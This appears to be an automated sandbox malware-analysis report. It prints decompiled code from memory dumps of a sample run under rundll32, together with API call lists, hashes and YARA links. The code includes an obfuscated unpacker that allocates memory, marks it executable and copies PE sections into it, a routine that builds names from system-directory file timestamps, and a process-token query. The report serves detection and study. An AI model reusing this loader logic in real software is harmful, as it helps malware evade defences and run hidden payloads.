					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E049420EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E04945AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0494348f
0x0494348f
0x0494348f
0x0494348f
0x0494348f
0x0494349c
0x0494349e
0x049434a1
0x049434a4
0x049434a5
0x049434a9
0x049434ac
0x049434b2
0x049434ba
0x049434c1
0x049434ca
0x049434cb
0x049434cb
0x049434cc
0x049434cd
0x049434d0
0x049434da
0x049434dc
0x049434e3
0x049434e6
0x049434ec
0x049434f4
0x049434fb
0x04943501
0x04943504
0x04943504
0x04943505
0x04943509
0x0494350c
0x04943516
0x04943520
0x04943524
0x0494352e
0x04943532
0x0494353a
0x0494353a
0x0494353d
0x04943543
0x0494354b
0x04943552
0x04943558
0x04943558
0x0494355b
0x04943567
0x04943569
0x04943573
0x04943575
0x0494357c
0x0494357f
0x04943585
0x0494358d
0x04943594
0x0494359a
0x0494359d
0x0494359d
0x0494359e
0x049435a8
0x049435ab
0x049435ae
0x049435ba
0x049435be
0x049435c2
0x049435cc
0x049435cc
0x049435d6
0x049435d9
0x049435df
0x049435e7
0x049435ee
0x049435f4
0x049435f7
0x049435f7
0x049435f8
0x049435ff
0x04943602
0x0494360c
0x0494360e
0x04943615
0x0494361f
0x0494362a
0x0494362e
0x04943632
0x0494363d
0x04943641
0x0494364a
0x0494364e
0x0494364f
0x0494365b
0x04943662
0x04943668
0x04943669
0x04943669
0x0494366a
0x04943675
0x04943677
0x04943681
0x04943683
0x04943689
0x04943691
0x04943698
0x0494369e
0x0494369e
0x049436a1
0x049436ac
0x049436ae
0x049436b8
0x049436c1
0x049436c2
0x049436c5
0x049436c8
0x049436ce
0x049436ce
0x049436d5
0x049436d9
0x049436dc
0x049436e4
0x049436e6
0x049436ed
0x049436f0
0x049436f1
0x049436f8
0x049436fc
0x04943705
0x04943709
0x04943712
0x04943716
0x0494371f
0x04943723
0x04943724
0x04943730
0x04943737
0x0494373d
0x0494373d
0x0494373e
0x0494373f
0x04943742
0x0494374c
0x0494374e
0x0494375a
0x04943761
0x04943767
0x04943767
0x04943768
0x04943770
0x04943772
0x0494377c
0x0494377e
0x04943785
0x04943788
0x04943794
0x0494379b
0x049437a1
0x049437a2
0x049437a2
0x049437a3
0x049437b2
0x049437b4
0x049437be
0x049437c1
0x049437c5
0x049437d1
0x049437d4
0x049437de
0x049437e1
0x049437ed
0x049437f4
0x049437fa
0x049437fb
0x049437fb
0x049437fe
0x04943806
0x04943808
0x04943809
0x04943814
0x0494381b
0x0494381d
0x0494381d
0x0494381e
0x0494381e
0x04943821
0x0494382c
0x0494382e
0x04943831
0x04943842
0x04943846
0x0494384a
0x04943852
0x04943855
0x04943858
0x0494385f
0x04943862
0x04943862
0x04943868
0x04943872
0x04943874
0x04943875
0x04943875
0x04943879
0x0494387c
0x0494387f
0x0494388d
0x04943890
0x049438a1
0x049438ad
0x049438ad
0x049438ad
0x049438af
0x049438b9
0x049438bb
0x049438bc
0x049438bc
0x049438bc
0x049438c1
0x049438c2
0x049438cf
0x049438d7
0x049438de
0x049438e4
0x049438e5
0x049438f4
0x049438f6
0x049438fc
0x049438fe
0x049438ff
0x04943902
0x04943905
0x0494390b
0x0494390f
0x04943912
0x04943912
0x0494391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 04943862

Strings

@, xrefs: 04943831

Memory Dump Source

Source File: 00000002.00000002.261047209.0000000004940000.00000040.00000001.sdmp, Offset: 04940000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 73165a4f6d596721a4919be6426b6839b43935256390b3b599f7941ee9fbdc04
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 47F16E32D04204EFEB149F64C88A7AEBBF5FF84715F1584ADDC88AB145CB782550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 04946194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04946194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0494463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E04944859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E04942DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0494348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E04944DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x04946194
0x04946194
0x04946194
0x04946195
0x0494619c
0x0494619f
0x049461a4
0x049461a7
0x049461a9
0x049461ab
0x049461ac
0x049461af
0x049461b7
0x049461c5
0x049461c5
0x049461ca
0x049461ca
0x049461d1
0x049461d5
0x049461d8
0x049461de
0x049461e8
0x049461f0
0x049461f7
0x049461fd
0x04946207
0x04946209
0x04946210
0x04946214
0x04946218
0x0494621c
0x04946226
0x04946226
0x04946230
0x04946230
0x04946233
0x04946233
0x04946239
0x04946240
0x04946243
0x0494624b
0x0494624f
0x04946255
0x04946260
0x04946262
0x04946267
0x04946272
0x04946274
0x04946276
0x04946279
0x0494627a
0x0494627d
0x04946281
0x04946284
0x04946284
0x0494628a
0x0494628d
0x0494628e
0x0494628e
0x0494628e
0x04946296
0x0494629f
0x0494629f
0x049462a2
0x049462a7
0x049462af
0x049462b3
0x049462b4
0x049462b4
0x049462b9
0x049462c6
0x049462c9
0x049462cd
0x049462e1
0x049462e9
0x049462ed
0x049462f3
0x049462f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 049461CA
VirtualProtect.KERNELBASE(?,?), ref: 04946233

Memory Dump Source

Source File: 00000002.00000002.261047209.0000000004940000.00000040.00000001.sdmp, Offset: 04940000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: e2e86830e3747c344529b217e9ea466199051c91b452ce163b2ccfae32a896cf
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 6941D272504604DFEB00DF60C880BADBBF9EFC8711F0A846DDD88CB249DB7865408B69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6388 Parent PID: 6364 rundll32.exeCOMMON

Executed Functions

Function 035512D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E035512D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x355d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x355d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x355d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x355d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x355d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x355d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x355d27c; // 0x244a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x355e7f2; // 0x73797325
				_t83 = E035595B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x355d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x355d27c; // 0x244a5a8
				_t16 = _t93 + 0x355e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x035512dd
0x035512e3
0x035512e5
0x035512ff
0x03551303
0x03551306
0x0355157b
0x03551582
0x03551582
0x0355130c
0x03551321
0x03551323
0x03551327
0x0355132a
0x0355156b
0x03551575
0x00000000
0x03551575
0x03551330
0x0355133b
0x03551340
0x03551345
0x03551348
0x0355134f
0x03551356
0x03551359
0x0355155b
0x03551565
0x00000000
0x03551565
0x0355136f
0x03551373
0x03551376
0x03551379
0x03551381
0x03551384
0x0355138d
0x03551393
0x0355139d
0x035513a4
0x035513a4
0x035513b6
0x035513c1
0x035513cf
0x035513d4
0x035513d9
0x035513dc
0x035513e1
0x035513eb
0x035513ee
0x035513f1
0x03551407
0x0355140b
0x0355140e
0x03551559
0x00000000
0x03551559
0x03551425
0x03551476
0x03551439
0x03551441
0x03551446
0x03551454
0x0355145d
0x03551466
0x03551466
0x03551474
0x03551474
0x0355147a
0x0355147e
0x0355147e
0x03551484
0x00000000
0x00000000
0x03551486
0x0355148c
0x03551533
0x03551536
0x03551543
0x03551543
0x03551547
0x00000000
0x00000000
0x0355153c
0x03551540
0x03551540
0x03551542
0x03551542
0x0355154c
0x03551553
0x03551555
0x00000000
0x03551555
0x03551492
0x03551494
0x03551494
0x035514a7
0x035514ad
0x035514b8
0x035514ba
0x035514be
0x035514c0
0x035514c0
0x035514c5
0x035514c7
0x035514c7
0x035514c5
0x035514cc
0x035514d0
0x035514d0
0x035514e0
0x035514e5
0x035514e8
0x035514e8
0x035514eb
0x035514f5
0x035514fd
0x03551502
0x03551510
0x03551510
0x03551524
0x03551528
0x03551528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 035512FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 03551321
memset.NTDLL ref: 0355133B

Part of subcall function 035595B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,035523E9,63699BCE,03551354,73797325), ref: 035595C2
Part of subcall function 035595B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 035595DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 03551379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0355138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 035513A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 035513B0
lstrcat.KERNEL32(?,642E2A5C), ref: 035513F1
FindFirstFileA.KERNELBASE(?,?), ref: 03551407
CompareFileTime.KERNEL32(?,?), ref: 03551425
FindNextFileA.KERNELBASE(035596C1,?), ref: 03551439
FindClose.KERNEL32(035596C1), ref: 03551446
FindFirstFileA.KERNEL32(?,?), ref: 03551452
CompareFileTime.KERNEL32(?,?), ref: 03551474
StrChrA.SHLWAPI(?,0000002E), ref: 035514A7
memcpy.NTDLL(00000000,?,00000000), ref: 035514E0
FindNextFileA.KERNELBASE(035596C1,?), ref: 035514F5
FindClose.KERNEL32(035596C1), ref: 03551502
FindFirstFileA.KERNEL32(?,?), ref: 0355150E
CompareFileTime.KERNEL32(?,?), ref: 0355151E
FindClose.KERNELBASE(035596C1), ref: 03551553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 03551565
HeapFree.KERNEL32(00000000,?), ref: 03551575

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: dc40059836257096636c21744c844bedc4a04edec01aadb6eeca0be09fe5ebb2
Instruction ID: 8920f942aef91ba9cd742ab305b73ea7f7fdf872d0e1e88d64f78a9f0fc8751f
Opcode Fuzzy Hash: dc40059836257096636c21744c844bedc4a04edec01aadb6eeca0be09fe5ebb2
Instruction Fuzzy Hash: EA812872900219EFDF11DFA5EC94EEEBBB9FB44300F144566E905E6260E730AA45DF60

Uniqueness

Uniqueness Score: -1.00%

Function 035583B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E035583B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E03552049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E03559039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x035583c4
0x035583c5
0x035583c6
0x035583c7
0x035583c8
0x035583cc
0x035583d3
0x035583e2
0x035583e5
0x035583e8
0x035583ef
0x035583f2
0x035583f5
0x035583f8
0x035583fb
0x03558406
0x03558408
0x03558411
0x03558419
0x0355841b
0x0355842d
0x03558437
0x0355843b
0x0355844a
0x0355844e
0x03558457
0x0355845f
0x0355845f
0x03558461
0x03558461
0x03558469
0x0355846f
0x03558473
0x03558473
0x0355847e

APIs

